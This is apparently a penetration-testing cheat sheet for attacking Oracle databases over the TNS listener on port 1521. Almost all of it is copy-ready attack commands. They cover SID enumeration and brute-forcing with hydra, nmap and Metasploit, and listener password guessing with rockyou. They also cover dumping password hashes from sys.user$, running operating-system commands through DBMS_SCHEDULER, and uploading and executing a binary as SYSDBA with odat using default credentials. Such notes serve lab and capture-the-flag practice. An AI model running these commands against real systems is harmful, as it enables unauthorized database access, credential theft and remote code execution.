In Ora­cle SQL, a SID (Ser­vice Iden­ti­fi­er) is basi­cal­ly a database.

Enumeration

Get gen­er­al information

tnscmd10g -h $target

Try to get a SID:

tnscmd10g status-p 1521 -h $target

Anoth­er tool: Ora­cle Scanner

oscanner -s $target -P 1521

Metas­ploit module

scanner/oracle/tnslsnr_version

Brute force SID

hydra -L /usr/share/metasploit-framework/data/wordlists/sid.txt -s 1521 $target oracle-sid

nmap --script oracle-sid-brute -p 1521 $target

Brute force credentials

Brute force (only a pass­word is need­ed, no user­name) for lis­ten­er

hydra -P /usr/share/wordlists/rockyou.txt -t 32 -s 1521 $target oracle-listener

Or use odat

odat all -s $target -p 1521 [-d XE]

Command line enumeration

You prob­a­bly want to use XE as $dbname.

export LD_LIBRARY_PATH=/usr/lib/oracle/19.6/client64/lib
sqlplus $user/$pass@$target/$dbname 'as sysdba'

Enu­mer­ate version

select * from v$version;

Enu­mer­ate users

select * from all_users;

Get all user infor­ma­tion (also pass­word hash­es!) (See this arti­cle for back­ground: spare4 is now used due to a migra­tion from ver­sion 10.)

select name,password,spare4 from sys.user$;

Exe­cute a com­mand via the scheduler:

exec DBMS_SCHEDULER.create_program('RDS2008','EXECUTABLE','ping 10.10.14.12',0,TRUE);
exec DBMS_SCHEDULER.create_job(job_name => 'RDS2008JOB',program_name => 'RDS2008',start_date => NULL,repeat_interval => NULL,end_date => NULL,enabled => TRUE,auto_drop => TRUE)
exec DBMS_SCHEDULER.drop_program(PROGRAM_NAME => 'RDS2008');

Upload and exe­cute as the DB admin (Sys­tem?!)

odat utlfile -s $target -p 1521 -U "scott" -P "tiger" -d XE --putFile /temp mps64.exe mps64.exe --sysdba
odat externaltable -s $target -p 1521 -U "scott" -P "tiger" -d XE --exec C:\ s64.exe --sysdba

Links

• Very good workthrough
• Metas­ploit mod­ules and fur­ther links
• Ora­cle SQL cheat sheet
• Anoth­er Ora­cle SQL cheat sheet
• Anoth­er cheat sheet
• Ora­cle pass­word stor­age formats